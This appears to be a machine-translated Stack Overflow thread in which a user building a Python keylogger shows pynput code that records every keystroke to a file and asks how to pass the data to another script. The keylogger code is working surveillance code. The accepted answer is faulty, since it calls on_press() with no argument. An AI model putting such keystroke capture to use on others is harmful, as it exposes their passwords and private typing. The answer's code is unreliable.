【问题标题】:Send data from one python file to another将数据从一个 python 文件发送到另一个
【发布时间】:2021-11-20 13:43:40
【问题描述】:

我有两个 python 文件k.py & key.py

我正在创建一个键盘记录器,代码在 k.py 中

k.py 代码

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename = ("key.py"), level=logging.DEBUG, format='%(message)s')
def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

我将此发送给key.py,所以我的问题是如何从k.py 接收数据并将其存储到变量中

【问题讨论】:

    标签: python keylogger


    【解决方案1】:

    key.py

    from k import *
     
    # calling functions
    # new use this funcation
    on_press()
    

    【讨论】:

    • 通常不鼓励通配符导入,因此您可能需要更改第一行 from k import on_press
    • 是的 frippe,这也是可行的,但如果你导入 * 比你访问文件中的所有功能。此面糊仅适用于您的创建文件,不适用于任何 python 包。你所说的这对任何 python 包都更好。
    • 我不是说它不起作用,而是说它不鼓励。不鼓励这样做,因为它会污染命名空间
    猜你喜欢
    • 2012-04-14
    • 2023-03-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-05-02
    • 1970-01-01
    相关资源
    最近更新 更多